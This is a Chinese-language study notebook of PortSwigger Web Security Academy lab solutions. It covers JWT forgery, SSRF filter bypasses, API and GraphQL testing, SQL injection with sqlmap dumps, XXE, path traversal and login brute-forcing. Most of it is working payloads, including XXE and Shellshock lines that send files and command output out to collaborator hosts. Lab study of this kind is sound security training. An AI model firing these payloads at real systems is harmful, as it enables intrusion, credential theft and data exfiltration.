1. JWT身份验证

爆破弱secret

扫描到目标系统后,如果网上能搜到它的默认密钥漏洞,我们可以在官方源码或者自己搭一个同版本的测试环境,把默认的Token扒下来,直接往目标系统上打。很多情况下管理员根本不会去改这个默认密钥(jwt sercret),所以搞不好就这样绕过登录了。

HS256 对称加密他会使用同一个秘钥来加解密,RS256 非对称加密他会使用公私钥加密或者解密

使用jwt_tool这个python项目来尝试爆破 https://github.com/ticarpi/jwt_tool,使用jwt_tool-2.2.7搭配python 3.10版本

eyJraWQiOiJlZTUzMTMwYy0xN2Q5LTQ1MDctYmEwMi04NDUxYzYzZTg4ZGIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc3OTk4NTQ0OCwic3ViIjoid2llbmVyIn0.A_J9Iv7aL7UgRzPU_V6v_8vYJ7QdcA8bbysRDNhaz5c
{
  "kid": "ee53130c-17d9-4507-ba02-8451c63e88db",
  "alg": "HS256" 
}
。。。


F:\桌面\tools\jwt\jwt_tool-2.2.7>python ./jwt_tool.py eyJraWQiOiIyNzY5OTY0MC1iMDRiLTQ3YjMtYmI1NS04ODA0Yjc1NDkzZGIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc4MDAxNzkxMCwic3ViIjoid2llbmVyIn0.DWsPFYvZEGNIl563KxCw3Y3XRegiNf6mBn8j7Yz5B_E -C -d F:\桌面\tools\dict\100k-most-used-passwords-NCSC.txt

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.7                \______|             @ticarpi

Original JWT:

[+] secret1 is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "secret1"

F:\桌面\tools\jwt\jwt_tool-2.2.7>

# 得到正确的secret后通过jwt editor进行粘贴秘钥调整payload即可进行测试

jwk头部参数注入

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection

{
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
        "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
    }
}

需要使用JWT Editor来生成一个新的 RSA key

image-BZwX.png

回到重放器repeater选择json web token点attack选第一个再选择刚才生成的jwk,再调整一下payload为administrator即可

kid头目录遍历绕过

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal

先到jwt editor生成一个对称加密,点generate后修改k的值为AA==他就Base64 编码的空字节,然后点ok即可

kid头每次都试验加一个../回到上一级尝试访问/dev/null ,有需要自动变更payload内容,每次变更后都需要点击Sign点ok后即可发起重放攻击看结果

jku 头部注入绕过

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection

先使用jwt editor创建一个非对称秘钥并且复制成为jwk set集合

来到portswigger提供的在线例子https://exploit-0aab00fb044e53af809e5789015800bc.exploit-server.net/ 将复制的jwk set集合放到body里面去点击store保存,他就相当于是一个小文件,等会就远程引用这个jku地址,达到绕过目的,需要留意jwk set集中的kid值,等会需要用到

修改kid 新增jku内容为上面的地址 调整payload为 administrator 最后点击sign签名选择最开始的那份非对称秘钥点ok,即可发起重放,可以看到通过了

算法混淆绕过 JWT 身份验证

https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion

已知道他会提供一个/jwks.json 这就是泄露源,通过json格式化提取里面的内容,利用jwt editor生成rsa非对称秘钥

将主体jwks复制到jwt editor中创建rsa非对称秘钥,粘贴到jwk中,然后切换到pem 复制内容到decode转码成base64

从decoder中复制base64,回到jwt editor中创建对称加密将base64替换到k

调整payload为administrator 签名选择最后的对称秘钥 头部更新参数alg即可重放测试

RS256 非对称加密泄漏绕过

在泄露得到私钥加密的情况下,可以直接使用jwt editor创建非对称加密放入pem中即可

相反如果没法得到加密秘钥,但是得到了验证verify秘钥,这个时候可以尝试将RS256变更为对称加密HS256或许可以绕过

const jwt = require('jsonwebtoken');
const fs = require('fs');

// 读取公钥文件
const publicKey = fs.readFileSync('./public.key', 'utf8');

// 构造 payload
const payload = {
    user: 'admin'
};

// 关键:使用 HS256 算法,用公钥作为密钥进行签名
const fakeToken = jwt.sign(payload, publicKey, { algorithm: 'HS256' });

console.log('伪造的 JWT Token:');
console.log(fakeToken);
console.log('\n使用方法:');
console.log(`curl -X POST http://目标地址/ -b "auth=${fakeToken}"`);

2. SSRF

通过 SSRF 外带获取到目标环境的出口 IP 后,可以作为资产归属分析的重要线索。但在公有云环境中,该 IP 可能只是 NAT 网关、负载均衡器或业务主机的出口地址,相邻公网 IP 很可能属于其他租户。因此即使对同网段进行探测发现大量主机,也不能直接认定这些资产属于目标组织,只能将其视为关联性较高的可疑资产,需要结合 ASN、WHOIS、证书信息、域名解析、页面特征等进一步验证归属关系。

# 常规绕过
url=http://0/flag.php
url=http://127.1/flag.php
url=http://127%2e1/flag.php
# 指向自己的域名,但是域名解析是127.0.0.1
url=http://test.tanqidi.com/flag.php


# 针对本地服务器的基本SSRF攻击
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
在检查库存功能他是提交的一个url,将这个步骤放到重放器,放入http://localhost/admin先经过url编码传过去能响应用户列表,点删除会失败,将参数拼接完整变成http://localhost/admin/delete?username=carlos 再url编码传入stockApi再次发起,即可通过
stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1


# 针对另一后端系统的基础SSRF攻击
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system
这个题目的要求是扫描给定网段的主机端口也给出了8080,用x占位,用intruder爆破端口,也可以用cluster bomb attack来二级爆破,二级参数给出一些常用的端口,最后出结果拼接路径/admin即可往下走,点击删除再拼接到stockApi即可完成删除
stockApi=http%3A%2F%2F192.168.0.x:x


https://portswigger.net/web-security/ssrf/blind/lab-out-of-band-detection
# 无带外检测的盲式ssrf攻击,这题直接将burp collaborator域名放到Referer头即可通过,这是后端拿Referer做了请求?这或许是拿了referer请求后想分析来源是什么网站做某种统计但是意外造成了ssrf


https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter
做了一定的安全检测,过滤了localhost,127.0.0.1,admin这种关键词,似乎可以用127.1来代替,然后双重 URL 编码 admin 中的字母:a → %2561
stockApi=http://127.1/%2561dmin
stockApi=http://127.1/a%25%36%34min
使用burp Decoder模块,对admin字符串做双重url编码
stockApi=http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
对点.进行ur编码得到%2e
stockApi=http://127%2e1/a%25%36%34min
最终执行删除用户
stockApi=http://127%2e1/a%25%36%34min/delete?username=carlos


https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection
通过开放重定向漏洞绕过过滤器实现SSRF,浏览商品他有Next product下一个商品,会出现一个路由,可以看到他有个path,这个就是ssrf注入点,这个考点主要就是可能后端是通过某种路由接口来完成的,在打点的时候需要留意一下他的api请求格式
GET /product/nextProduct?currentProductId=17&path=/product?productId=18 HTTP/2
来到检查库存功能接口,然后替换路径,即可出现用户界面,重放删除用户即可
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos


https://portswigger.net/web-security/ssrf/blind/lab-shellshock-exploitation
利用Shellshock漏洞的盲打SSRF,在referer中爆破内网ip,在ua头中插入命令,外带信息到collaborator
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).0de9k7r5tvlrpdyfkd21a5led5jw7n5bu.oastify.com
Referer: http://192.168.0.x:8080


✨✨✨
https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter   
他加了点ssrf过滤只允许白名单域名stock.weliketoshop.net,这个太难了,没发理解,但似乎能get到它的点
原始是http://127.1#@stock.weliketoshop.net/admin 对#做两次url编码变成%2523
stockApi=http://127.1%2523@stock.weliketoshop.net/admin
stockApi=http://127.1%2523@stock.weliketoshop.net/admin/delete?username=carlos

3. API 攻防

利用文档攻击 API 端点

https://portswigger.net/web-security/api-testing/lab-exploiting-api-endpoint-using-documentation

用dirsearch扫一遍看到有/api访问看到了接口调用详情

Output File: F:\BaiduNetdiskDownload\V3.0\v3\tools\gui_scan\dirsearch\reports\https_0a7000780367cd4082e8a254003e002b.web-security-academy.net\__26-06-01_11-21-38.txt

Target: https://0a7000780367cd4082e8a254003e002b.web-security-academy.net/

[11:21:38] Starting:
[11:24:36] 302 -    0B  - /api  ->  /api/
[11:24:36] 200 -    1KB - /api/
[11:24:36] 404 -   41B  - /api/2/explore/
[11:24:36] 404 -   41B  - /api/2/issue/createmeta
[11:24:36] 404 -   41B  - /api/__swagger__/

看他是RESTFul风格的api,支持GET DELETE PATCH 可以在burpsuite拼接成为GET或者DELETE /api/user/carlos 即可删除用户过关

查找并利用未使用的 API 端点

https://portswigger.net/web-security/api-testing/lab-exploiting-unused-api-endpoint

看文档要求是利用api来实现零元购,登录后抓包看到有/api/products/1/price这个商品接口,它响应了json 推测他是RESTFul Api 对它发起PUT提示只支持GET与PATCH 换成PATCH后将它先前响应的json给放到body里面,再将它需要的Content-Type: application/json; charset=utf-8 放到头部 重放后成功修改为0元,添加进购物车下单,通过

利用批量赋值漏洞

4. GraphQL 渗透

可以为burpsuite添加inql插件,发现graphql入口直接通过拓展过去分析一波,如果没有被拦截会有很多有用的接口,假设被拦截可以使用以下注入命令来尝试获取结构

https://graphql.cn/learn/introspection/

https://nathanrandal.com/graphql-visualizer/

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection

有些接口是隐藏的,默认不公开只有正确发起功能请求才能看到,这种情况可以尝试使用burp scan来尝试扫描一下,或许能有意料之外的结果,再配合graphql注入命令来获取schema结果导出成为json在inql中加载json就能顺利看到接口结构

5. WebSockets 渗透

websockets.svg

操纵 WebSocket 消息以利用漏洞

靶场直接提交xss语句会被转义,在burp中拦截消息再加入原始的语句 <img src=1 onerror='alert(1)'> 即可触发xss弹窗

6. sql 注入

快速sql注入查找表 https://portswigger.net/web-security/sql-injection/cheat-sheet

https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data
GET /filter?category=Pets' or 1=1 -- -


https://portswigger.net/web-security/sql-injection/lab-login-bypass
账号:administrator' -- -
密码:随意

# SQL注入攻击,查询Oracle数据库的类型和版本
https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-oracle
# 确定有几个字段
GET /filter?category=Gifts' order by 2 -- - HTTP/2
# 因为是Oracle联合注入select他必须强制from一张表的,就用dual
GET /filter?category=Gifts' union select null,null from dual -- - HTTP/2
# Oracle的版本不是函数,而是叫v$version 并且它是一个类似表的存在,是有字段的,叫BANNER
GET /filter?category=Gifts' union select BANNER,null from v$version -- - HTTP/2
# 也可以优雅用别名,但是Oracle不支持as,可以这样用 简单
GET /filter?category=Gifts' union select v.BANNER,null from v$version v -- - HTTP/2


https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft
# 确定有几个字段
GET /filter?category=Gifts' order by 2 -- - HTTP/2
# 尝试获取版本与用户,版本即可以用version()也可以尝试用@@version
GET /filter?category=Gifts' union select version(),current_user() -- - HTTP/2


# PostgreSQL 联合注入跨表获取数据
https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle
# 确定有几个字段
GET /filter?category=Pets' order by 2 -- - HTTP/2
# 确定字段响应类型
GET /filter?category=Pets' union select '','' -- - HTTP/2
# 确定数据库类型 PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
GET /filter?category=Pets' union select '',version() -- - HTTP/2
# 尝试获取所有表,因为是PostgreSQL 似乎与MySQL的注入方式不太一样
GET /filter?category=Pets' union select '',table_name from information_schema.tables -- - HTTP/2
# 看上面获取所有表,大概率是users_sizrfm这个表,获取这个表的字段
GET /filter?category=' union select '', column_name from information_schema.columns where table_name = 'users_sizrfm' -- - HTTP/2
# 按响应的字段拼接获取数据,成功获取administrator的数据
GET /filter?category=' union select '', concat(username_cewpwj, '  ', password_yxzfim, '  ', email) from users_sizrfm -- - HTTP/2
GET /filter?category=' union select '', concat_ws('  ', username_cewpwj, password_yxzfim, email) from users_sizrfm -- - HTTP/2


https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns
# 确定列数
GET /filter?category=' order by 3 -- - HTTP/2
# 看题目3个null占列即可完成题目
GET /filter?category=' union select null,null,null -- - HTTP/2


# 要求是按实验室界面给出的随机值给注入到字段里面
https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text
# 确认列数
GET /filter?category=Gifts' order by 3 -- - HTTP/2
# 注入随机值
GET /filter?category=Gifts' union select null,'05WHKI',null -- - HTTP/2


# 根据之前学到的知识,联合注入获取其他表的内容获取administrator账号密码
https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables
# 确定列数
GET /filter?category=Gifts' order by 2 -- - HTTP/2
# 尝试获取所有表,因为是PostgreSQL 似乎与MySQL的注入方式不太一样
GET /filter?category=Pets' union select '',table_name from information_schema.tables -- - HTTP/2
# 看结果尝试获取users表字段
GET /filter?category=Pets' union select '', column_name from information_schema.columns where table_name = 'users' -- - HTTP/2
# 获取数据, 成功看到administrator账号密码
GET /filter?category=' union select '', concat_ws('  ', username, password, email) from users -- - HTTP/2


# 练习联合注入多字段合一响应
https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-multiple-values-in-single-column
# 确定列数
GET /filter?category=Pets' order by 2 -- - HTTP/2
# 确定列类型,第二个列是字符串,后续多合一结果利用concat_ws响应在里面
GET /filter?category=Pets' union select 1,'hello' -- - HTTP/2
# 获取表
GET /filter?category=Pets' union select 1,table_name from information_schema.tables -- - HTTP/2
# 获取字段
GET /filter?category=Pets' union select 1, column_name from information_schema.columns where table_name = 'users' -- - HTTP/2
# 获取数据, 成功看到administrator账号密码
GET /filter?category=Pets' union select 1, concat_ws('  ', username, password, email) from users -- - HTTP/2


# SQL注入攻击,列出Oracle数据库内容
https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle
# 确认列数
GET /filter?category=Gifts' order by 2 -- - HTTP/2
# 确认列类型,需要加上from dual
GET /filter?category=Gifts' union select '','' from dual -- - HTTP/2
# 确认版本
GET /filter?category=Gifts' union select BANNER,null from v$version -- - HTTP/2
# 获取所有表
GET /filter?category=Gifts' union select table_name,null from all_tables -- - HTTP/2
# 或者更精确地获取当前用户下的表,这个是空的,待确定是否生效?
GET /filter?category=Gifts' union select table_name,null from user_tables -- - HTTP/2
# 获取具体表的字典
GET /filter?category=' union select column_name,null from all_tab_columns where table_name='USERS_FXSTBO' -- - HTTP/2
# 得到字段获取数据,登录成功
GET /filter?category=' union select LISTAGG(USERNAME_KRXCWG||':'||PASSWORD_LOCOUQ, ', ') WITHIN GROUP (ORDER BY USERNAME_KRXCWG),null from USERS_FXSTBO -- - HTTP/2
# sqlmap,有时候需要强制https需要加上force-ssl
sqlmap -r r1.txt --proxy http://127.0.0.1:8080 --force-ssl
sqlmap -r r1.txt --proxy http://127.0.0.1:8080 --force-ssl --dbs
sqlmap -r r1.txt --proxy http://127.0.0.1:8080 --force-ssl --current-db
sqlmap -r r1.txt --proxy http://127.0.0.1:8080 --force-ssl -D 'PETER' --tables
sqlmap -r r1.txt --proxy http://127.0.0.1:8080 --force-ssl -D 'PETER' -T 'USERS_FXSTBO' --coloums
sqlmap -r r1.txt --proxy http://127.0.0.1:8080 --force-ssl -D 'PETER' -T 'USERS_FXSTBO' -C 'EMAIL,PASSWORD_LOCOUQ,USERNAME_KRXCWG' --dump


# 基于可见错误的sql注入攻击,sqmap都不好使,输出内容他会截断导致失效,postgresql
https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based
Cookie: TrackingId=' --; session=qcmGLGZTtWKGviptlgYfj60UAvTf90BB
Cookie: TrackingId=' AND CAST((SELECT 1) AS int) --; session=qcmGLGZTtWKGviptlgYfj60UAvTf90BB
Cookie: TrackingId=' AND 1=CAST((SELECT 1) AS int) --; session=qcmGLGZTtWKGviptlgYfj60UAvTf90BB
Cookie: TrackingId=' AND 1=CAST((SELECT username FROM users) AS int) --; session=qcmGLGZTtWKGviptlgYfj60UAvTf90BB
Cookie: TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int) --; session=qcmGLGZTtWKGviptlgYfj60UAvTf90BB


# 利用 XML 编码绕过过滤器进行 SQL 注入,利用Hackvertor插件进行编码
https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding
# 获取版本
<storeId><@hex_entities>1 union select version()</@hex_entities></storeId>
# 获取表
<storeId><@hex_entities>1 union select table_name from information_schema.tables</@hex_entities></storeId>
# 获取字段
<storeId><@hex_entities>1 union select column_name from information_schema.columns where table_name = 'users'</@hex_entities></storeId>
# 获取数据
<storeId><@hex_entities>1 union select concat(username, '  ', password, '  ', email) from users</@hex_entities></storeId>
<storeId><@hex_entities>1 union select concat_ws('  ', username, password, email)  from users</@hex_entities></storeId>

盲注

盲注可以用sqlmap来加速测试


# 带条件响应的盲注 SQL 注入
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
# 盲注太难了,直接sqlmap线程10导出所有数据,给Cookie: TrackingId加*,它太强了
sqlmap -r r1.txt --proxy http://127.0.0.1:8080 --force-ssl --dump --threads=10 --technique=B


# 带条件错误的盲注 SQL 注入
https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
# 依然使用sqlmap来完成
sqlmap -r "r1.txt" --technique=B --threads=10 --flush-session  --dump   --batch --level=3 --risk=3 --force-ssl


# 带时间延迟的盲注 SQL 注入,postgresql,可以用sqlmap爆
https://portswigger.net/web-security/sql-injection/blind/lab-time-delays
Cookie: TrackingId=K5sC04lmijVCJeRL'||pg_sleep(10)--; session=W5Bq5Pdaos3CfXWKS6jTvvDIylrj2Wec
Cookie: TrackingId=K5sC04lmijVCJeRL' AND 2350=(SELECT 2350 FROM PG_SLEEP(10)) AND 'MTjU'='MTjU; session=W5Bq5Pdaos3CfXWKS6jTvvDIylrj2Wec


# 带时间延迟和信息检索的盲注 SQL 注入
https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval
# 先爆库与表
sqlmap -r "r1.txt" --technique=T --threads=1  --dump  --time-sec=3 --level=3 --batch --force-ssl
# 再精准爆字段
sqlmap -r "r1.txt" --technique=T --threads=1  --dump  --time-sec=3 --level=3 --batch --force-ssl -D 'public' -T 'users' --columns
# 再爆数据
sqlmap -r "r1.txt" --technique=T --threads=1  --dump  --time-sec=3 --level=3 --batch --force-ssl -D 'public' -T 'users' -C 'email,username,password'


# 带外交互的盲注 SQL 注入
https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--


# 盲注 SQL 注入及带外数据泄露,太难了这个有参考,https://portswigger.net/web-security/sql-injection/cheat-sheet
https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration
Cookie: TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.3w0enrx092rtfu31b5d4v2i9s0yrmij68.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--
; session=a0sbv83ud6bqxkc9thjjsw8ztfk6uclc: 

7. XXE

xxe-injection.svg

常规实体:定义后必须在 XML 标签内用 &实体名; 调用,执行后会将内容直接嵌入到标签位置,适合有回显的文件读取。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>&xxe;6</productId>
  <storeId>1</storeId>
</stockCheck>

参数实体:定义后仅在 DTD 内部%实体名; 调用,用于盲 XXE 探测或通过嵌套 DTD 将数据带外发送到攻击者服务器,标签内无需任何调用。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY % xxe SYSTEM "http://69d7ngspgi04f3ti791yxt7vdmjd742sr.oastify.com">
  %xxe;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>
# 
https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files
# 似乎是最简单的方式了
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>&xxe;6</productId>
  <storeId>1</storeId>
</stockCheck>


https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf
# 利用 XXE 进行 SSRF 攻击,直接可以云上攻击了,从 EC2 元数据端点获取服务器的 IAM 秘密访问密钥
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>
  <productId>1&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>


https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction
# 通过带外通道交互的盲 XXE 攻击,此场景它不回显 但是可以通过 collaborator 来识别是否触发请求从而判断是否存在ssrf
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://0rsmmy61furn0831avuqzz5h88ez2uqj.oastify.com"> ]>
<stockCheck>
  <productId>1&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>


https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities
# 带 % 的参数实体,通过xml参数实体进行外带交互的盲式xxe攻击,因为如果用前面的都是&xxe;放在字段里面,校验可能会直接失败,不能用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY % xxe SYSTEM "http://69d7ngspgi04f3ti791yxt7vdmjd742sr.oastify.com">
  %xxe;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>


https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration
# 利用盲式XXE漏洞通过恶意外部DTO来窃取数据,进主页先到Go to exploit server生成文件复制地址,http为burpsuite提供的collaborator地址
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://s2vtg2lb94tq8pm40vukqf0h68cz0rsfh.oastify.com/?x=%file;'>">
%eval;
%exfil;
# 来到burp重放器远程地址填写靶场提供的文件地址,内部就是dtd内容了
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0afd0032044b4b8c80972f14010300df.exploit-server.net/exploit"> %xxe;]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>


https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages
# 利用盲式XXE漏洞通过错误信息获取数据,和上面一样,进主页先到Go to exploit server生成文件复制地址
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
# 来到burp重放器远程地址填写靶场提供的文件地址,内部就是dtd内容了
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ad4001b0473ed8c81d7c48e01020051.exploit-server.net/exploit"> %xxe;]>
<stockCheck>
  <productId>3</productId>
  <storeId>1</storeId>
</stockCheck>


https://portswigger.net/web-security/xxe/lab-xinclude-attack
# 利用xinclude来获取文件,提交body看似productId=1&storeId=1实际他在后端是组装成为xml的,productId的值换成xinclude尝试注入
productId=1<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1


https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload
# svg文件上传xxe,将svg内容显示出了密码
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

8. 路径遍历

有时候如果网站允许编辑文件并且能控制里面的内容,可能就可以利用这个现象通过参数传递目录穿越../实现任意文件写入

安全领域被称为 路径遍历(Path Traversal) 或 目录穿越(Directory Traversal),结合文件编辑功能,就构成了一个 任意文件写入漏洞(Arbitrary File Write)。

它的核心现象是:攻击者利用 ../(点点斜杠)这种路径跳转符号,打破了系统原本限制的文件访问范围,从一个受控的“小房间”跳到了整个服务器的“大仓库”。

📂 正常情况下 VS 攻击情况下

正常情况:网站有个功能是编辑 user_avatar.txt,系统会限制路径必须固定在 /app/uploads/ 目录下,你只能操作这个目录里的文件。

攻击情况:如果你把文件名改成 ../../../../var/www/html/shell.php,系统没有做过滤,就会顺着 ../ 一层层跳转,最终把内容写到网站的根目录下,生成了一个恶意后门文件。

# 最简单利用
https://portswigger.net/web-security/file-path-traversal/lab-simple
GET /image?filename=../../../etc/passwd HTTP/2


# 通过绝对路径绕过被阻止的遍历序列
https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass
通过绝对路径通过了,有时候不能光顾用../ 也要结合/根目录的方式尝试
GET /image?filename=/etc/passwd HTTP/2


# 非递归方式剥离遍历序列,双层路径叠加
https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively
双层路径叠加....//....//....//etc/passwd,每个....//被替换都会剩下另外一个../  后端可能是进行了关键词../替换为空
GET /image?filename=....//....//....//etc/passwd HTTP/2


# 遍历序列经过多余的URL解码后被剥离, burp的decoder实在太长了,不过似乎也是正常的
https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode
CaptfEncoder url编码两次 ../../../etc/passwd > ..%2F..%2F..%2Fetc%2Fpasswd > ..%252F..%252F..%252Fetc%252Fpasswd
burp decoder url编码两次 ../../../etc/passwd > %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 > %25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34


# 路径起始位置验证
https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path
默认是有前缀限制的他必须是某个固定的开头你没法在开头写../../ 但是可以在前缀/var/www/images/后面加../../穿越回去
GET /image?filename=/var/www/images/51.jpg HTTP/2
GET /image?filename=/var/www/images/../../../etc/passwd HTTP/2


# 通过空字节绕过对文件扩展名的验证
https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass
他可能必须需要后缀才能识别但是加上后缀即使可以穿越文件也对不上了,使用%00可以进行截断 ,忽视后面的内容
GET /image?filename=../../../etc/passwd%00.jpg HTTP/2

输入:../../../etc/passwd%00.jpg
                ↓
检查扩展名:以 .jpg 结尾 ✅ 通过
                ↓
C 函数读取:遇到 %00 截断
                ↓
实际读取:../../../etc/passwd

9. Authentication

基础爆破

通过不同响应进行用户名枚举,分别先对username爆破出Incorrect password证明账号对了,再爆破密码出现302重定向则密码也出了

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses

响应细微差别

在进行用户名枚举时,理论上系统对“用户名不存在”与“密码错误”的响应应该保持一致,但实际可能存在微小差异。例如,错误提示可能是 Invalid username or password.,而当用户名正确但密码错误时,提示可能少了一个点。

这种细微差异可以被 Burp Suite 捕捉到。在 Intruder 的右侧边栏 Settings 中,进入 Grep – Extract,点击 Add,然后在 Fetch response 里找到可能的差异点(例如 Invalid username or password.),选中并确认即可标记。

之后,点击 Attack,在结果列表中就会多出一列显示标记结果,通过对这列排序即可快速识别有效用户名。确认用户名后,再针对密码进行爆破即可完成整个流程。

https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses

交替爆破攻击,随机头来源绕过

假设他的封禁逻辑是 连续 3 次登录失败即封 IP。绕过策略可以是:在达到 3 次失败前,主动插入一次正确的登录,将失败计数器重置为 0

